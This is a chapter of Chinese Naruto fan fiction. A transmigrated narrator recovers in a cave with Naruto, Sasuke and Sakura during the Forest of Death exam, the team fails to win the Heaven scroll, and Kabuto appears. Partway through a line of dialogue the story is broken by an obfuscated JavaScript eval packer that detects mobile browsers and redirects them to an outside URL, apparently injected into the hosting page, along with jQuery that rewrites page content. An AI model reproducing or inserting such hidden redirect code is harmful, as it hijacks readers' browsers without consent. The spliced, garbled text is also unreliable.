“现在出去盲目行动,和自寻死路没什么区别。今晚所有人都在这里休整,所有事情,等明天天亮之后再说。” 他的决定最终得到了默认。确实,在危机四伏、处处杀机的死亡森林里,夜晚贸然行动绝非明智之举,那无异于自杀。 鸣人听到这个决定,明显松了一口气,只要不把我单独留下来当诱饵,怎么样都好。他立刻又凑到我身边,像是生怕我会突然消失一样,固执地紧挨着我坐下,守在那里。 小樱默默地将篝火添得更旺一些,让洞穴内的温度升高了不少,驱散了一些夜晚带来的寒意。然后她主动开口安排道 “今晚必须有人守夜。前半夜就由我来吧,佐助君你负责后半夜,你需要更多的时间来恢复。” 她说着,担忧地看了一眼佐助那依旧有些苍白的脸色和颈后衣领下若隐若现的诡异咒印痕迹。 佐助看了她一眼,没多说什么,只是微微颔首,算是同意了这个安排。他重新走回洞口的阴影里,抱着手臂靠着冰冷的岩壁坐下,再次闭上了眼睛,不知道是真正在尝试休息,还是仅仅在假寐。 夜深了。 洞穴里变得格外安静,只剩下干燥木柴燃烧时发出的噼啪声,以及我们几人轻重不一的呼吸声。极度的疲惫和精神的严重透支,让我很快又陷入了昏沉的睡眠之中,只是这一次,不再是那片痛苦绝望的黑暗深渊,而是相对平稳的昏睡。 小樱抱着膝盖坐在靠近洞口的位置,努力睁大那双翠绿的眼睛,全神贯注地警惕注视着外面的一切风吹草动,认真履行着她前半夜的职责。 鸣人则坚持守在我旁边,一开始还努力瞪大着他那双湛蓝的眼睛,一眨不眨地看着我,仿佛要用目光为我建立起一道坚固无比的屏障。他小声地、一遍遍地对自己喃喃自语 “这次我一定要保护好姐姐……绝对不能睡……绝对不能……” 然而,强烈的困倦如同汹涌的潮水般,不断冲击着他早已紧绷到极致的神经。他的眼皮开始不受控制地打架,小脑袋一点一点的,像只努力抵抗着睡意的小鸡仔。他几次猛地惊醒过来,脸上带着懊恼的神情,用力晃晃脑袋,甚至偷偷掐自己大腿一下,试图用疼痛驱散睡意,然后继续强撑。 但身体的本能终究还是战胜了顽强的意志。 而我,虽然陷入了昏睡,但意识并未完全沉静。仿佛漂浮在一片彻底干涸龟裂的荒原之上,这是精神力过度透支后的内在景象。每一寸“土地”都传来尖锐的刺痛和灼烧感,那是强行撕碎“恶魔牌”后残留的阴冷反噬与查克拉、精神能量彻底枯竭带来的双重痛苦。我在梦中无意识地蜷缩起身体,试图抵御这片虚无带来的刺骨寒冷与撕裂般的痛楚。 就在这时,一点点微弱的、却异常执拗的暖意,开始从这片荒芜“地平线”的尽头缓缓渗透进来。 起初非常模糊,如同风中的残烛,微弱却带着一种熟悉的、令人安心的味道。那暖意笨拙而真诚,仿佛毫无保留地、拼命地想要驱散这里的寒冷。它轻轻地、试探般地缠绕着我冰冷的“意识体”,如同最轻柔温暖的羽毛拂过那些无形的伤口。 (是鸣人……) 即使在沉睡中,我的潜意识也立刻认出了这温暖力量的源头。是他那毫无杂质的纯粹担忧,是他失而复得后那种近乎固执的守护欲,是他一遍遍在心里默念的“这次一定要保护好姐姐”的坚定誓言……这些纯粹而强烈的情感,化作了最原始却无比有效的治愈能量,透过我们之间那无形的羁绊纽带,缓缓地、执着地流入我这片彻底枯竭的精神荒原。 那暖意所过之处,尖锐的刺痛感奇异地被抚平了些许,龟裂的“地面”似乎也得到了一丝微不足道却至关重要的滋润。 紧接着,另一股截然不同,却同样清晰的情绪力量也悄然漫延开来。 这股力量更加内敛、克制,甚至带着一种自我挣扎的冰冷和矛盾感。它没有贸然靠近,只是停留在“荒原”的边缘地带,如同沉默而忠诚的守望者。里面混杂着不解、恼怒、一丝不易察觉的……或许可以称之为“亏欠感”的细微波动,以及一种更为深沉的、对于“守护”这一行为的复杂认知。 (佐助……) 他的情绪不像鸣人那样温暖明亮,却像一块坚冷可靠的磐石,意外地带来了一种“存在”的实感,仿佛在无声地锚定我这片即将涣散崩溃的意识,提醒我并非独自一人在此漂浮。那份因他而起的剧烈痛苦,似乎也因为这份复杂的“注视”而减轻了些许沉重的重量。 最后,是一股温和的、带着真切关切与坚定意志的暖流。它像潺潺溪水,细致地流淌环绕,带着明确的治愈意愿和一种“我也要努力变得更强”的强烈决心。 (小樱……) 她的守夜并非毫无意义,那份想要保护大家、想要变得可靠起来的心意,同样化作了无形却有力的支持力量。 这三股截然不同却同样源于“羁绊”的情绪能量,并非多么磅礴强大,却像漆黑深夜里最明亮的三颗星辰,以其稳定的、真诚的“存在”,照亮并温暖着我这片冰冷死寂的精神世界。它们无法瞬间治愈所有严重的创伤,却有效地阻止了情况的进一步恶化,并开始一点点地、缓慢地滋养修复着那些无形的裂痕。 然而,就在这三股现世的羁绊之力缓缓滋养我的同时,更深层、更久远的精神层面,似乎也被这同质的“温暖”所触动。 仿佛沉睡万年的湖底被投入了颗颗石子,漾开了层层叠叠、遥远却未曾真正消失的涟漪。 一股炽热如初升朝阳、带着笨拙的急切和无比坚定的守护欲的情绪暖流,猛地从意识深处某个被紧紧封锁的角落里汹涌而出。它比鸣人此刻的情感更加莽撞,更加滚烫,带着一种近乎偏执的“绝不放手”的强烈意味,瞬间包裹住我一部分冰冷的“意识体”。这暖意是如此熟悉,仿佛早已刻入灵魂的最深处,带来一种难以言喻的、让人忍不住想落泪的安心感,却又隔着一层无法拨开的浓雾,看不清其具体的来源。 几乎是在同一时刻,另一股柔和、温暖、充满无限治愈与包容力量的情绪缓缓弥漫开来,像是最精纯温柔的医疗查克拉,细致入微地抚慰着那些被恶魔之力撕裂的细微伤痕。这力量带着无限的善意和理解,无声地支撑着那滚烫的暖意,也温柔地支撑着我摇摇欲坠的意识。 还有一股更加沉默、却无比可靠的守护之力。它像隐于暗处的坚盾,带着一丝挥之不去的忧郁和疲惫感,却坚定不移地环绕在外围,仿佛在无声地抵御着可能存在的、更多的伤害与侵蚀。这份守护,沉重而温柔,带着岁月的痕迹。 这三股陌生的、来自遥远过去的情绪力量,虽然我无法识别出它们具体的面貌和名字,但它们所蕴含的那种“守护”、“治愈”和“坚持”的本质,却像是穿透了时间的厚重阻隔和记忆的牢固屏障,与当下鸣人、佐助、小樱的情感产生了强烈的共鸣和叠加! 刹那间,我的精神荒原仿佛不再只有现世的几颗星辰,而是被一片古老而璀璨的星河所笼罩。无数温暖的光点同时洒落,交织成一张坚韧而温暖的巨网,将我从冰冷的虚无深渊中温柔地托起。 那些尖锐的刺痛感被极大地缓解了,龟裂的地面得到更深层次的滋养,甚至有一两处最细微的裂痕,开始以肉眼可见的速度缓缓愈合。一股深沉而安稳的困意取代了痛苦的昏沉,如同回到了绝对安全的港湾,被彻底守护着。 现实中,我的身体彻底放松下来。不仅眉头完全舒展开,嘴角甚至在无意识中牵起了一个极其微弱、却无比安宁的弧度。呼吸变得深长而平稳,脸上的血色也恢复得更加明显,仿佛经历了一场由内而外的、温和而深入的滋养。 后半夜,当佐助准时睁开眼,无声地和小樱交换了守夜位置后,他看到的就是这样一幕—— 我依旧在昏睡,但呼吸明显平稳了许多。而鸣人,终于还是没能抗住沉重的睡意。他歪倒在我旁边的枯叶铺上,脑袋无意识地、轻轻地靠在了我的胳膊旁,一只手还下意识地紧紧抓着我的衣袖一角,仿佛即使在睡梦中也要固执地确认我的存在。他睡得似乎并不安稳,眉头微微皱着,嘴角偶尔向下撇一下,像是在梦里也在为什么事情担心着,但终究是陷入了睡眠,发出均匀而轻微的呼吸声。 佐助的目光落在我们两人身上。 跳跃的篝火将最后的光晕温柔地笼罩在依偎在一起的两人身上,形成一层微弱而温暖的光边,与洞穴内大部分的阴影区域形成了鲜明的对比。这一幕本该显得有些脆弱,甚至……碍眼。但却奇异地散发出一种难以言喻的、令人心安的宁静感。 佐助的视线先是扫过鸣人那毫无防备的睡脸,然后缓缓移到我依旧苍白却安稳了许多的脸上。他的眼神复杂难辨,不再是白日的冰冷和锐利,在无人注视的深夜里,泄露出几丝连他自己都未曾察觉的晦暗情绪。 他想起了白天那蚀骨灼心的极致痛苦,咒印的力量如同最恶毒的火焰,疯狂灼烧着他的血肉和神经,要将他彻底拖入无边的地狱。就在他几乎要被那痛苦吞噬、意识即将崩断的时刻,那股灼热感却离奇地消失了——取而代之的是一种深彻骨髓的、令人极度不安的冰凉死寂。 然后,他看到了倒在地上、痛苦不堪的我,那张染血的、被撕碎的恶魔牌,还有我那仿佛生命力被瞬间抽干的凄厉哀嚎…… (是她……) 这个念头如同鬼魅,再次不受控制地盘旋在他的脑海,挥之不去。 (又是她……用那种诡异的方式……承受了本该属于我的痛苦?) 一种极其强烈的、熟悉的无力感和耻辱感再次涌上心头。为什么总是需要被别人保护?为什么总是如此弱小?他追求力量是为了复仇,是为了不再失去重要的人,是为了彻底掌控自己的命运,而不是……而不是一次次地被一个看起来比他更脆弱的人挡在身后! 这比受伤更让他难以忍受。 尤其是……这个人。 他的目光再次落在我脸上,带着一种他自己都无法厘清的烦躁和……深深的探究。她到底是谁?为什么要为他做到这种地步?为了鸣人?还是为了……所谓的“同伴”?那种不惜自身性命也要护他人周全的执拗,让他无法理解,甚至……感到一丝莫名的焦躁。 他猛地移开视线,不再看那依偎在一起的两人,转而望向洞穴外沉沉的夜色,纯黑的眼眸比那夜色更加深沉。守夜的后半夜格外寂静,只有身后两人清浅均匀的呼吸声和柴火燃烧的微响。他就这样沉默地坐着,像一尊凝固的雕像,直到天际渐渐泛起一丝微不可查的灰白。 新的一天即将到来,而更加严峻的挑战,也等待着状态依旧不佳的我们。 当清晨的第一缕微光再次映入眼帘时,我缓缓睁开了眼睛。感受到的是一种前所未有的、扎实的舒缓。头痛虽然并未完全消失,但已经转为一种沉重的疲惫感,而非昨日那难以忍受的剧痛。体内重新凝聚起的那丝微弱查克拉流,似乎也带上了一抹难以言喻的、久远而温暖的韵味。 “姐姐!你醒了!” 鸣人惊喜地叫道,他敏锐地感觉到我状态的不同,脸上的喜悦几乎要溢出来。 “嗯……” 我轻声回应着,尝试动了动手指,发现比之前多了不少力气。我看向鸣人,又看向不远处的佐助和小樱,眼中充满了感激和一种连我自己都说不清的、深沉的温暖 “好像……真的好了很多……谢谢你们……” 我的目光不经意间再次扫过佐助,他依旧如同受惊般迅速避开了我的视线。 但这一次,我心底浮现的不仅仅是对他那种别扭性格的认知,还有一种……极其朦胧的、一闪而逝的强烈既视感。仿佛很久很久以前,也有这样一个别扭又固执的背影,曾用类似的方式,沉默地守护过什么重要的东西。 这感觉来得快,去得也快,根本抓不住任何头绪。 治愈的能量,远比我想象的更加深邃和绵长。 白天的死亡森林比夜晚更加活跃,鸟鸣虫叫不绝于耳,但也意味着更多的危险和不确定性。我们四人几乎没有离开洞穴,依靠着小樱携带的少量兵粮丸和清水维持着最低限度的体力。佐助大部分时间都守在洞口藤蔓的缝隙后面,如同最警惕的猎豹,全身心地观察着外面的风吹草动,偶尔会抬起手,用手势示意我们保持绝对安静——这通常意味着有别的队伍从附近经过。 我和鸣人靠坐在最内侧的岩壁下。我依旧虚弱,精神力的恢复缓慢但持续着,那股来自不同维度、温暖而陌生的羁绊之力仿佛还在潜意识里默默滋养着我。鸣人则显得有些焦躁不安,时不时探头想看看外面的情况,又被小樱用严厉的眼神及时制止。他最后干脆紧挨着我坐下,压低声音,絮絮叨叨地跟我说些无关紧要的趣事和废话,试图分散我的注意力,同时也分散他自己内心的紧张。 我听着他充满活力(尽管明显是强装出来的)的声音,看着他努力想活跃起气氛的样子,心中的沉重和身体的不适似乎真的被驱散了不少。我偶尔会轻轻点头,或者回以一个依旧苍白却真诚的微笑。 小樱则负责处理一些必要的琐事,检查洞口简易的陷阱,仔细分配着所剩无几的食物和水,她的眼神比之前更加坚定,仿佛一夜之间经历了许多,成长了许多。 第一天,就在这种压抑的安静和高度警惕中,缓慢而相对安全地度过了。当夜色再次降临时,我们都不约而同地松了口气。 第二天清晨,我的状态明显又好了一些。虽然查克拉依旧稀薄得可怜,但至少头痛减轻了大半,可以正常地思考和行动了。然而,现实的困境迫在眉睫——时间已经过去两天,我们仍然缺少一本至关重要的天之书。 经过简单的商议和分析,我们决定冒险离开洞穴一小段距离,尝试进行有限的侦查和……引诱。由状态最好的佐助在远处高点负责策应和观察全局,小樱在稍近处埋伏,准备随时支援,而我和鸣人则装作受伤疲惫、落单的样子,在一小片相对开阔的林间空地短暂停留,试图吸引可能拥有天之书的队伍上钩。 计划起初进行得很顺利。我们确实成功吸引来了一支三人小队。然而,命运仿佛开了个残酷的玩笑——经过短暂而激烈的交锋(主要由佐助和小樱出手,我和鸣人勉强从旁辅助),我们成功制服了对方,迫不及待地搜出他们的卷轴,结果却是……地之书。 和我们手上的卷轴一模一样。 气氛瞬间变得无比沉重,希望落空带来的失望感压得人喘不过气。 那支被打败的小队虽然失去了战斗力,却依旧不肯轻易放弃卷轴,眼神凶狠地瞪着我们,试图做最后的反抗和挣扎。为了避免更大的麻烦和引来其他敌人,佐助面无表情地做出了冷酷的决断。过程很快,几乎是在电光火石之间,但我还是瞥见了那抹冰冷的寒光和瞬间消散的生命气息。 鸣人几乎是在那一刻就猛地伸出手,挡在了我的眼睛前方,他的声音有些发硬,带着不易察觉的颤抖 “姐姐……别,别看了。” 我顺从地垂下眼睑,没有说话。空气中开始弥漫开淡淡的、令人作呕的血腥味,和一种令人窒息的死寂沉默。 我知道这是死亡森林里残酷的生存规则,我知道这是不得已而为之的选择,但亲手终结生命所带来的沉重感,还是如同巨石般压在我的心头,让我喘不过气。我们默默地将现场稍作处理,尽可能地掩盖痕迹,然后迅速返回了那个暂时的避难所——洞穴。 整个下午,洞穴里的气氛都异常压抑。没有人说话,每个人都沉浸在自己的思绪里。 夜晚很快降临,轮到我和鸣人值前半夜。我们并排坐在洞口内侧,望着外面稀疏漏下的、惨淡的星光,长时间的沉默如同巨石般横亘在我们之间,沉重得让人难受。 最终,还是鸣人先开了口,他的声音很低,带着一丝不易察觉的颤抖 “姐姐……你为什么……要那么做?转移佐助的咒印痛苦……你明明知道那么危险……可能会死的……” 我沉默了很久,久到鸣人都以为我不会回答了。我才轻轻地开口,声音飘忽得如同叹息 “如果换做是鸣人你的话……看到重要的同伴承受那样非人的痛苦,而你有可能帮他分担哪怕一点点……你会怎么做?” 鸣人愣住了,几乎是脱口而出 “我当然会……” 他说到一半猛地停住了,他明白了我的意思。如果是他,他也会毫不犹豫地冲上去,即使代价可能是自己的生命。他就是这样的人。 又是一阵漫长的沉默。只有柴火偶尔发出的噼啪声。然后,鸣人的声音再次响起,这次带上了更多的情绪,是浓浓的后怕,是深深的不解,甚至是一点点生气 “可是……可是你没想过自己真的会死的吗?那时候你看上去……好像马上就要……消失不见了……” “我想过的。” 我回答得很轻,却很清晰,每一个字都落在了寂静的夜里 “但我觉得……如果能为了守护重要的同伴而死,是值得的。” “那我呢?!” 鸣人突然转过身来,声音猛地拔高,带着一种我从未听过的、几乎是愤怒和恐惧交织的情绪,湛蓝的眼睛在黑暗中灼灼地盯着我,像是受伤的小兽 “那你有没有想过我怎么办?!你要是死了我怎么办?!谁再来给我做好吃的三明治?谁再来揉我的头发?谁再来听我说那些废话?!” 我被他这突如其来的、激烈的反应问得彻底愣住了,怔怔地看着他,一时之间竟不知该如何回答。 鸣人吼完之后,自己也愣住了,似乎被自己脱口而出的话吓到了。他猛地转过身,把脸深深地埋进环抱着的双臂里,声音变得闷闷的,带着明显的哽咽和不易察觉的深切恐惧 “我……我很害怕……姐姐离开我。你对我……很重要很重要,是最重要的人。我……我没办法想象如果你不在了……我会变成什么样……或许我会……我会失控的……” 我的心像是被什么东西狠狠撞了一下,酸涩而柔软,涌动着难以言喻的情感。我看着他把头埋得低低的、显得无比脆弱又固执的背影,沉默了片刻,然后缓缓伸出手,非常轻柔地揉了揉他那头总是乱翘的耀眼金发。 “不会的,” 我的声音很轻,却带着一种我自己都未曾察觉的笃定和承诺,仿佛在陈述一个宇宙真理 “我不会离开鸣人的。永远不会。” 我顿了顿,补充道,语气平静却带着不容置疑的力量 “除非死亡……将我们分开。” 鸣人的肩膀微微颤抖了一下,没有再说话,但也没有躲开我的手。我们就维持着这个姿势,彼此依靠着,直到换班的时间到来。 佐助和小樱来接替时,看到的就是鸣人依旧固执地靠在我身边,脑袋几乎要枕到我肩膀上的样子。小樱脸上露出一点了然和无奈,佐助则只是淡淡地瞥了一眼,什么都没说,脸上依旧是那副冷冰冰的表情。 轮到我和鸣人休息时,鸣人几乎是立刻挨着我躺下,在黑暗中摸索着,准确地抓住了我的一片衣角,紧紧攥在手心里,才像是终于安心般闭上了眼睛。我没有推开他,任由他抓着,在这片冰冷的死亡森林里,我们互相汲取着微不足道的温暖。 第三天清晨,我是被洞外隐约传来的清脆鸟鸣声和肚子里传来的一连串咕噜声吵醒的——哦,不是我,是旁边的鸣人。他睡得正香,嘴角还挂着一点可疑的口水,肚子却叫得格外响亮,在安静的洞穴里甚至有点回声。 佐助正站在洞口附近,凝神观察着外面的情况,听到这声音,回过头,眉头微不可查地蹙了一下 “既然都醒了,就该考虑正事了。时间还剩不到一天。” 他的语气恢复了平时的冷静和务实,带着一种紧迫感 “昨天的引诱计划行不通,反而浪费了时间。现在摆在我们面前的只有两条路:要么主动出击,寻找明确目标进行强攻,要么设置精密陷阱等待机会。但目前没有任何可靠的情报支持,无论选择哪一条,风险都极高。” 就在这时,鸣人的肚子又发出一连串更响亮、更绵长的“咕咕咕”声,他迷迷糊糊地揉着眼睛坐起来,声音含混不清 “嗯……好饿……肚子都在叫了……” 佐助的话被打断,脸上闪过一丝极其细微的无奈,他自己其实也饿得前胸贴后背,只是他更能忍耐,从不轻易表现出来。 “……先去弄点吃的。” 佐助最终做出了最实际的决定 “保持最低限度的体力,才能应对接下来的战斗。” 我们小心翼翼地来到附近的一条小溪边。河水十分清澈,可以清晰地看到不少鱼儿在水里灵活地游动。 “看我的!” 鸣人瞬间来了精神,双手飞快结印 “影分身之术!” 几个影分身噗噗地出现,咋咋呼呼地跳进河里开始扑腾着抓鱼,弄得水花四溅,动静极大。 佐助站在岸边,一脸嫌弃地看着鸣人这种效率低下又吵闹无比的方式,冷哼一声,手腕只是轻轻一抖,几枚手里剑便精准无比地射出,唰唰几下,就利落地串起了三条肥美的鱼,动作干净利落,没溅起半点水花。 小樱则和我在一旁安静地收集着干柴,准备生火。 小樱一边忙活,一边时不时看我一眼,终于还是忍不住低声说道 “你好像总是这样,不顾一切地去保护别人,甚至……好像从来不在乎自己会不会受伤,会不会痛。” 我捡起一根枯枝,对着她笑了笑,试图让气氛轻松一点 “小樱昨天不也很保护我吗?而且,最后关键时刻站出来挡住音忍攻击的,是你不是吗?” 我看向她,眼神温和而肯定 “你已经变得很可靠了,小樱。真的,一直在努力成长呢。” 小樱沉默了几秒,像是在思考什么,然后像是下定了某种决心,抬起头,眼神无比认真地看着我,仿佛在立下誓言 “我不会再让你一个人承担所有了!下次,我一定会变得更强,足够保护大家,也足够保护你!” 我看着她眼中燃烧的坚定火焰,心中微暖,点了点头 “嗯,好啊。” 嘴上这样应着,心里想的却是:正因为我是知晓未来那些悲剧的穿越者,此刻才更想用尽一切力量,让你们这些孩子能少受一点苦,哪怕只是微不足道的一点点,我也愿意付出代价。 “姐姐!你看我抓到的鱼!好大一条!” 鸣人举着一条还在拼命挣扎的大鱼,浑身湿漉漉地跑过来,脸上洋溢着求表扬的灿烂笑容,那笑容瞬间冲散了刚才略显沉重的气氛。 我忍不住笑出来,伸手揉了揉他还在滴着水的头发 “嗯,鸣人真厉害!快点擦干身子把衣服穿上,别着凉了。” 另一边,佐助也默默地走了过来,手上拿着串着三条鱼的手里剑,虽然没鸣人那条那么夸张,但个头也很不错。 我转过头,也对他笑了笑,真诚地说 “佐助也很厉害,很准。” 佐助瞥了我一眼,没说话,只是默默地把鱼递给了旁边的小樱。 小樱接过鱼,又看向佐助,语气带着点请求 “佐助君,麻烦你用豪火球之术点一下火吧?” 佐助没多言,熟练地结了几个印 “火遁·豪火球之术!”一颗小火球精准地落在堆好的干柴上,篝火很快便熊熊燃了起来。 鱼烤熟的诱人香气渐渐弥漫开来,暂时驱散了死亡森林里固有的压抑和之前沉重的气氛。我们四人围坐在火堆旁,享受着这短暂而珍贵的宁静时刻,仿佛外面的危险都暂时远离了。 “第二场考试,已经开始一段时间了。” 佐助用一根木棍轻轻拨弄着火堆,打破了这片难得的宁静,他的声音低沉而清晰。 “考试是下午三点左右正式开始的,现在已经过去了超过三天,剩下留给我们的时间,只有二十五到二十六个小时了。” 小樱眉头紧紧皱着,盯着跳跃的火焰,也在努力思考着,该如何才能拿到那本至关重要的、迟迟未得手的天之书。 “应该已经有好几个队伍通过考试,到达中央高塔了吧。” 她推测道,语气里带着一丝焦虑。 鸣人呆在我身边坐着,甚至都有些不在意他们的谈话,他眼睛直勾勾地盯着那条最大的烤鱼,口水似乎都要从他嘴角流出来了,一副馋坏了的模样。 佐助拿出我们仅有的地之书,握在手里,眼神晦暗不明,似乎在他理性的判断里,我们真的已经没有什么办法能通过考试了。他望向远方密林的深处,眉头紧锁着,最后转过来,几不可闻地低下头,像是发出了一声无声的叹息。 我把烤好的鱼依次分给他们,自然地把那条鸣人盯了很久的、最大的鱼递给了他。 “诶……我不要这个!” 鸣人没想到我会这样,反应过来之后立刻拒绝了我,他把那条最大的推回给我,第二大的给了小樱,第三大的留给自己,最小的一条则是佐助的。 “其实……” 我的话并没有说完,鸣人则是急切地反驳道,说我需要好好补充一下营养,身体还没恢复,要多休息多吃点。小樱也在一旁点头应和着,觉得鸣人说的很有道理。佐助没说什么,但他啃咬着自己手里那条最小的鱼,又好像什么都说了,那沉默的态度仿佛也默认了他们的分配。 我盯着手里那条最大的、烤得焦香的鱼,张开嘴,小心翼翼地撕咬下一块鱼肉。 明明没有放任何调味料,为什么却觉得有点咸咸的……(我没有哭,只是觉得,心酸酸的……一种说不上来的感觉堵在胸口) 我没有再言语(大概也是知道不管我说什么,他们都会强迫我吃掉这条最大的鱼),空气里只剩下火焰燃烧和柴木偶尔爆开的噼啪声。每个人都在沉默地思考着事情(除了鸣人吧,大概,他正全心全意地觉得烤鱼真是天下第一美味)。 最后,还是小樱打破了这一令人窒息的寂静。 “或许,天之书已经没有了。” 她的声音不高,却像一块石头投入平静的水面。 “这是什么意思,小樱?” 佐助立刻放下手里吃了一半的烤鱼,他转过视线 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575546|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着小樱看,似乎想从她脸上找出答案。 小樱只是低声解释着她的分析 这第二场考试对我们来说限期四天,但现在已经过去了三天多,尽管我们比其他人可能少一天左右的有效行动时间,但不排除其他实力强劲的队伍早已拿到了所有他们需要的卷轴,甚至是多拿多抢,故意让其他队伍无法凑齐卷轴,从而减少竞争对手。 “参加人数总共七十九人,共二十六组,只有天地卷轴各十三本,所以理论上,合格的队伍最多只有十三组而已。” 她冷静地陈述着数字。 讲到这里,鸣人也放下了手里的烤鱼,只不过嘴上的动作没停,鼓着腮帮子盯着小樱看。小樱只是低垂着头,看着眼前跳跃的火堆,继续陈述着冰冷的事实 “之前所遇到的恐怖强敌大蛇丸,已经把我们到手的天之书彻底烧毁了。” “也就是说……” 佐助点着头,肯定着小樱的分析,脸色更加凝重。 “也就是说我们能遇到的、可能持有天之书的队伍又少了一支。及格的可能性更低了。” “而且,我们也不能保证其他卷轴都相安无事。” 佐助接着小樱的思路继续分析,语气沉重 “自从和木叶的其他人分开之后,我们就花费了整整两天时间来疗伤和躲避。不仅要躲避其他小队的追击,更要时刻保护……” 他顿了一下,目光极快地扫过我 “……保护伤势最重的成员的安全。” (讲到这里,我的头更低沉了下去,内心充满了愧疚,自己,好像真的成了拖后腿的那个累赘。) “从现在开始,我们必须延长行动距离,扩大搜索范围了。” 佐助做出了决定,声音恢复了冷静 “不管怎么样,下次遇见的敌人,或许就是我们最后的机会了。必须拿下!” 说罢,他掏出了自己的水壶,发现里面已经空了,于是告诉我们他要去附近打点水回来,让我们保持警惕。 一旁的鸣人盯着佐助远去的身影,又看了看被随意放在地上的地之书,不知道他的小脑袋瓜里在想什么。总之,他偷偷地靠近我和小樱身边,用极小的、几乎是气音的声音说,自己有一个好主意。 他翻出自己的忍者包,把里面的东西哗啦啦倒出来很多,地上零零碎碎地散落着不少空的卷轴。鸣人兴奋地解释着,既然是卷轴的话,那他这里有很多空白卷轴,随便找一本伪装成天之书不就好了?小樱似乎是立刻意识到了鸣人想要做什么,直接让鸣人等一下,语气严肃 “就算这样做了,你也不知道真正天之书里面写了什么啊!一旦被考官检查,立刻就会露馅的!” 我闭上眼,顺着小樱的话点点头,顺便把自己手里那条最大的烤鱼直接塞进了鸣人还想继续说话的嘴里,堵住了他后面的话。 “小樱说的没错,鸣人,” 我叹了口气 “被考官发现伪造卷轴,我们可就真的完蛋了,说不定这辈子都没办法再参加中忍考试了,还会连累卡卡西老师。” 鸣人呜咽着咬了一口嘴里的烤鱼,咀嚼着还想再说什么,看过原著剧情我当然知道他要提议偷看卷轴内容了,只是蓦然伸手,将地上那本地之书拿起来,紧紧攥在手里,然后放回了自己的忍者包最内侧,拉好拉链。 “吃饭不许说话,” 我故意板起脸,延长了后面三个字的读音 “如果你想要偷看——那绝对是——不——可——以——!” 我像是下达最后的通牒,语气坚决。 “御手洗红豆老师一开始就郑重强调过,擅自打开卷轴会有极其可怕的事情发生,我们根本没有能力去承担这个风险。” 我低垂着眼帘,其实内心也有些难过和绝望,毕竟我也很害怕无法拿到天之书,我也害怕会因为我的意外加入而捣乱主线故事,害怕一切乱套,害怕最后鸣人他们无法成功通过考试。 “也许按照正常途径去寻找,我们会失败……” 我的声音低了下去,带着一丝不易察觉的颤抖 “但起码我们努力过了,也起码不会因为作弊而丢失未来成为中忍的资格。” 我不再言语,内心充满了不确定性,也不确定我们是否真的能运气好碰到一本天之书。我只是下意识地看向佐助离去的方向,眼神放空,陷入了沉思。 鸣人本来还想要说点什么,但看我的态度如此决绝,只是把那条属于我的、被他咬过一口的烤鱼重新递了回来,脸上带着点委屈和担忧。 “被我咬了一口……姐,你不嫌弃吧?” 他小声嘟囔着。 “不嫌弃,但是鸣人,我已经吃饱了,你吃吧。” 我摇摇头,想把鱼给他。 “啊……” 鸣人就这么僵持了一下,手里举着鱼,递也不是,收也不是。无奈之下,我侧过身,就着他的手轻轻咬了一小口,表示自己真的不嫌弃,刚想再说点什么,让他安心吃掉,一个温和甚至带着点关切的声音毫无预兆地从我们侧后方的林间阴影里响起: “看来你们遇到麻烦了呢。” 我们三人瞬间如同受惊的兔子,猛地从地上弹跳起来,迅速转身摆出最强的防御姿态!鸣人更是第一时间就挡在了我和小樱身前,嘴里还叼着半条鱼,含糊不清地厉声喝道 “谁?!出来!” 只见药师兜扶了扶他那副圆眼镜,从一棵需要数人合抱的大树后缓步走出,脸上带着他那标志性的、人畜无害的担忧表情 “别紧张,是我,兜。” 我的心脏猛地一沉,像是瞬间掉进了冰窟窿,背后立刻沁出一层细密的冷汗。他怎么会在这里?!我们明明没有打开卷轴!是……他一直就在附近观察着我们?还是……无论哪种可能,都让我感到极度的不安和恐惧。但我强行压下心中的惊涛骇浪,努力让自己的表情看起来只是单纯的惊讶和警惕,绝不能让他看出我知晓他隐藏的底细和阴谋。 “药师兜?” 小樱也认出了他,稍微放松了一点紧绷的身体,但依旧没有放下戒备的姿势 “你怎么会在这里?你的队友呢?” 就在这时,去打水的佐助也回来了。他看到突然出现的兜,眼神瞬间变得锐利无比,一个闪身就极其敏捷地挡在了我们和兜之间,手中的水壶被他随意放在脚边,冷声质问,充满了不信任 “你在这里做什么?你的目的是什么?” 他的写轮眼虽然未开,但那份冰冷的审视已经足够让人感到巨大的压力。 面对佐助咄咄逼人的质问,兜并没有直接回答,反而摇了摇头,脸上露出一丝无奈又带着点责备的笑容。他走上前几步,在我们惊愕的目光中,极其自然地拿起佐助刚打回来的、装满清水的水壶,竟然直接浇在了还在燃烧的篝火上! “嗤啦——” 一声,火焰瞬间被浇灭,只剩下湿漉漉的木炭和柴火冒着缕缕青烟,升起一股焦糊味。 “你们啊……” 兜叹了口气,语气像是在教训一群不懂事、粗心大意的后辈,带着点恨铁不成钢的意味 “明明知道自己身上被种下了查克拉追踪器,还敢这么明目张胆地生火?这浓烟和火光,在现在这种环境下,就像黑夜里的灯塔一样显眼。你们是生怕敌人找不到你们吗?” 他扶了扶眼镜,镜片在树叶缝隙透下的稀疏光线下反着光,让人看不清他眼底深处真实隐藏的情绪 “我远远看到这边林子上空有烟飘起来,还以为是谁不小心引发了火灾,或者是哪个狡猾的队伍设下的诱敌陷阱,就赶紧过来看看。没想到居然是你们……你们这样大意,简直就是在主动邀请别人来攻击啊。” 他的解释听起来合情合理,甚至带着一点“我是为你们好”的责备意味。仿佛他出现在这里,纯粹是因为我们犯了低级错误,他好心过来提醒一样。 佐助的眉头紧紧皱起,盯着兜那张看似诚恳的脸,似乎想从他脸上找出哪怕一丝一毫的破绽。鸣人和小樱则面面相觑,似乎觉得兜说的有点道理,脸上的戒备之色稍稍减轻了一些,但依旧没有完全信任他。 而我,则感到一股更深的寒意从脊椎骨一路窜升到头顶。 